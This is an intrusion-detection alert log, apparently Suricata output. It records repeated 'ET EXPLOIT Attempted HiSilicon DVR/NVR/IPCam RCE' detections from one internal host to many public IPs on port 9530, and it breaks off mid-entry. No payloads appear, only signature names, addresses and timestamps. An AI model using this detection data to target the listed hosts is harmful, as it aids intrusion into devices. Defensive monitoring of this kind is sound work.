Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 38.209.228.54

Timestamp:	05/16/24-16:39:14.493585
SID:	2030487
Source Port:	57364
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.97.56.222

Timestamp:	05/16/24-16:39:03.290444
SID:	2030488
Source Port:	39354
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 109.109.160.216

Timestamp:	05/16/24-16:39:12.298163
SID:	2030488
Source Port:	57906
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 109.109.160.216

Timestamp:	05/16/24-16:39:12.298163
SID:	2030487
Source Port:	57906
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 75.126.50.59

Timestamp:	05/16/24-16:38:57.448980
SID:	2030487
Source Port:	51898
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 104.97.56.222

Timestamp:	05/16/24-16:39:03.290444
SID:	2030487
Source Port:	39354
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 75.126.50.59

Timestamp:	05/16/24-16:38:57.448980
SID:	2030488
Source Port:	51898
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.28.109.111

Timestamp:	05/16/24-16:39:14.532793
SID:	2030488
Source Port:	50090
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 93.45.47.233

Timestamp:	05/16/24-16:39:16.585516
SID:	2030487
Source Port:	58778
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 93.45.47.233

Timestamp:	05/16/24-16:39:16.585516
SID:	2030488
Source Port:	58778
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 61.28.109.111

Timestamp:	05/16/24-16:39:14.532793
SID:	2030487
Source Port:	50090
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 120.7.53.192

Timestamp:	05/16/24-16:38:50.004286
SID:	2030488
Source Port:	58608
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 120.7.53.192

Timestamp:	05/16/24-16:38:50.004286
SID:	2030487
Source Port:	58608
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 32.131.46.245

Timestamp:	05/16/24-16:38:57.435600
SID:	2030488
Source Port:	55978
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 32.131.46.245

Timestamp:	05/16/24-16:38:57.435600
SID:	2030487
Source Port:	55978
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 97.116.224.246

Timestamp:	05/16/24-16:39:16.580493
SID:	2030487
Source Port:	47338
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 97.116.224.246

Timestamp:	05/16/24-16:39:16.580493
SID:	2030488
Source Port:	47338
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 25.103.219.87

Timestamp:	05/16/24-16:39:02.762985
SID:	2030488
Source Port:	36762
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 25.103.219.87

Timestamp:	05/16/24-16:39:02.762985
SID:	2030487
Source Port:	36762
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.134.158.18

Timestamp:	05/16/24-16:39:05.712617
SID:	2030487
Source Port:	55964
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 57.101.41.196

Timestamp:	05/16/24-16:39:16.585515
SID:	2030488
Source Port:	40974
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.134.158.18

Timestamp:	05/16/24-16:39:05.712617
SID:	2030488
Source Port:	55964
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 57.101.41.196

Timestamp:	05/16/24-16:39:16.585515
SID:	2030487
Source Port:	40974
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 177.33.97.161

Timestamp:	05/16/24-16:39:14.522015
SID:	2030488
Source Port:	52478
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 204.198.102.91

Timestamp:	05/16/24-16:39:05.676898
SID:	2030488
Source Port:	51980
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 177.33.97.161

Timestamp:	05/16/24-16:39:14.522015
SID:	2030487
Source Port:	52478
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.108.250.110

Timestamp:	05/16/24-16:38:57.439252
SID:	2030488
Source Port:	33132
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 223.133.106.125

Timestamp:	05/16/24-16:38:50.053185
SID:	2030487
Source Port:	44762
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 213.108.250.110

Timestamp:	05/16/24-16:38:57.439252
SID:	2030487
Source Port:	33132
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 223.133.106.125

Timestamp:	05/16/24-16:38:50.053185
SID:	2030488
Source Port:	44762
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.200.29.213

Timestamp:	05/16/24-16:39:02.748826
SID:	2030487
Source Port:	50248
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.168.162.112

Timestamp:	05/16/24-16:38:50.065101
SID:	2030488
Source Port:	32922
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.185.190.249

Timestamp:	05/16/24-16:39:14.531190
SID:	2030488
Source Port:	53940
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 85.168.162.112

Timestamp:	05/16/24-16:38:50.065101
SID:	2030487
Source Port:	32922
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.185.190.249

Timestamp:	05/16/24-16:39:14.531190
SID:	2030487
Source Port:	53940
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 98.186.226.218

Timestamp:	05/16/24-16:39:05.677618
SID:	2030488
Source Port:	51108
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 98.186.226.218

Timestamp:	05/16/24-16:39:05.677618
SID:	2030487
Source Port:	51108
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 204.198.102.91

Timestamp:	05/16/24-16:39:05.676898
SID:	2030487
Source Port:	51980
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 138.149.45.163

Timestamp:	05/16/24-16:38:53.011249
SID:	2030487
Source Port:	58256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 63.146.214.125

Timestamp:	05/16/24-16:38:55.175049
SID:	2030487
Source Port:	43402
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 138.149.45.163

Timestamp:	05/16/24-16:38:53.011249
SID:	2030488
Source Port:	58256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 63.146.214.125

Timestamp:	05/16/24-16:38:55.175049
SID:	2030488
Source Port:	43402
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 195.244.33.75

Timestamp:	05/16/24-16:39:16.605759
SID:	2030487
Source Port:	44470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.244.33.75

Timestamp:	05/16/24-16:39:16.605759
SID:	2030488
Source Port:	44470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 152.10.133.200

Timestamp:	05/16/24-16:38:50.052265
SID:	2030487
Source Port:	35252
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 160.114.208.77

Timestamp:	05/16/24-16:39:08.045005
SID:	2030487
Source Port:	44718
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 152.10.133.200

Timestamp:	05/16/24-16:38:50.052265
SID:	2030488
Source Port:	35252
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 160.114.208.77

Timestamp:	05/16/24-16:39:08.045005
SID:	2030488
Source Port:	44718
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 134.157.21.20

Timestamp:	05/16/24-16:39:12.382135
SID:	2030488
Source Port:	59604
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.67.51.245

Timestamp:	05/16/24-16:38:59.520070
SID:	2030488
Source Port:	56458
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 134.157.21.20

Timestamp:	05/16/24-16:39:12.382135
SID:	2030487
Source Port:	59604
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 64.143.104.175

Timestamp:	05/16/24-16:39:02.726921
SID:	2030488
Source Port:	56428
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 64.143.104.175

Timestamp:	05/16/24-16:39:02.726921
SID:	2030487
Source Port:	56428
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 40.129.26.167

Timestamp:	05/16/24-16:39:05.699610
SID:	2030487
Source Port:	38008
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 40.129.26.167

Timestamp:	05/16/24-16:39:05.699610
SID:	2030488
Source Port:	38008
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.147.10.88

Timestamp:	05/16/24-16:39:16.608389
SID:	2030488
Source Port:	36830
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.147.10.88

Timestamp:	05/16/24-16:39:16.608389
SID:	2030487
Source Port:	36830
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 50.69.17.109

Timestamp:	05/16/24-16:38:50.047739
SID:	2030488
Source Port:	57552
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 50.69.17.109

Timestamp:	05/16/24-16:38:50.047739
SID:	2030487
Source Port:	57552
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 73.90.176.81

Timestamp:	05/16/24-16:38:59.520031
SID:	2030488
Source Port:	50934
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 73.90.176.81

Timestamp:	05/16/24-16:38:59.520031
SID:	2030487
Source Port:	50934
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 169.72.220.216

Timestamp:	05/16/24-16:38:50.053099
SID:	2030487
Source Port:	48298
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.239.35.171

Timestamp:	05/16/24-16:39:12.382096
SID:	2030488
Source Port:	38624
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.72.220.216

Timestamp:	05/16/24-16:38:50.053099
SID:	2030488
Source Port:	48298
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 200.239.35.171

Timestamp:	05/16/24-16:39:12.382096
SID:	2030487
Source Port:	38624
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 176.34.191.78

Timestamp:	05/16/24-16:38:53.013613
SID:	2030487
Source Port:	52144
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 176.34.191.78

Timestamp:	05/16/24-16:38:53.013613
SID:	2030488
Source Port:	52144
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 4.90.240.244

Timestamp:	05/16/24-16:39:02.768667
SID:	2030488
Source Port:	57608
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 107.253.96.31

Timestamp:	05/16/24-16:39:14.528272
SID:	2030488
Source Port:	38854
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 4.90.240.244

Timestamp:	05/16/24-16:39:02.768667
SID:	2030487
Source Port:	57608
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 107.253.96.31

Timestamp:	05/16/24-16:39:14.528272
SID:	2030487
Source Port:	38854
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 162.83.52.79

Timestamp:	05/16/24-16:39:16.610529
SID:	2030488
Source Port:	42646
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 162.83.52.79

Timestamp:	05/16/24-16:39:16.610529
SID:	2030487
Source Port:	42646
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.200.29.213

Timestamp:	05/16/24-16:39:02.748826
SID:	2030488
Source Port:	50248
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 81.214.76.215

Timestamp:	05/16/24-16:39:05.676402
SID:	2030488
Source Port:	58432
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 81.214.76.215

Timestamp:	05/16/24-16:39:05.676402
SID:	2030487
Source Port:	58432
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 91.14.126.59

Timestamp:	05/16/24-16:39:03.256837
SID:	2030487
Source Port:	59306
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 91.14.126.59

Timestamp:	05/16/24-16:39:03.256837
SID:	2030488
Source Port:	59306
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 165.135.204.200

Timestamp:	05/16/24-16:38:59.557981
SID:	2030488
Source Port:	43690
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 165.135.204.200

Timestamp:	05/16/24-16:38:59.557981
SID:	2030487
Source Port:	43690
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 31.135.17.166

Timestamp:	05/16/24-16:39:05.717273
SID:	2030487
Source Port:	42122
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 31.135.17.166

Timestamp:	05/16/24-16:39:05.717273
SID:	2030488
Source Port:	42122
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 4.173.234.98

Timestamp:	05/16/24-16:38:53.084732
SID:	2030487
Source Port:	43650
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 4.173.234.98

Timestamp:	05/16/24-16:38:53.084732
SID:	2030488
Source Port:	43650
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 114.216.236.200

Timestamp:	05/16/24-16:38:50.080372
SID:	2030487
Source Port:	42298
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 114.216.236.200

Timestamp:	05/16/24-16:38:50.080372
SID:	2030488
Source Port:	42298
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 161.134.5.116

Timestamp:	05/16/24-16:39:02.725529
SID:	2030488
Source Port:	44668
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 161.134.5.116

Timestamp:	05/16/24-16:39:02.725529
SID:	2030487
Source Port:	44668
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 87.176.132.147

Timestamp:	05/16/24-16:38:50.080382
SID:	2030488
Source Port:	57962
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 113.69.96.153

Timestamp:	05/16/24-16:39:16.585521
SID:	2030488
Source Port:	55976
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 87.176.132.147

Timestamp:	05/16/24-16:38:50.080382
SID:	2030487
Source Port:	57962
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 113.69.96.153

Timestamp:	05/16/24-16:39:16.585521
SID:	2030487
Source Port:	55976
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 96.10.39.244

Timestamp:	05/16/24-16:38:50.048943
SID:	2030487
Source Port:	46016
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 96.10.39.244

Timestamp:	05/16/24-16:38:50.048943
SID:	2030488
Source Port:	46016
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 125.114.153.0

Timestamp:	05/16/24-16:38:50.080000
SID:	2030488
Source Port:	36150
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 175.11.133.46

Timestamp:	05/16/24-16:38:50.068348
SID:	2030487
Source Port:	51664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 175.11.133.46

Timestamp:	05/16/24-16:38:50.068348
SID:	2030488
Source Port:	51664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 125.114.153.0

Timestamp:	05/16/24-16:38:50.080000
SID:	2030487
Source Port:	36150
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.71.138.155

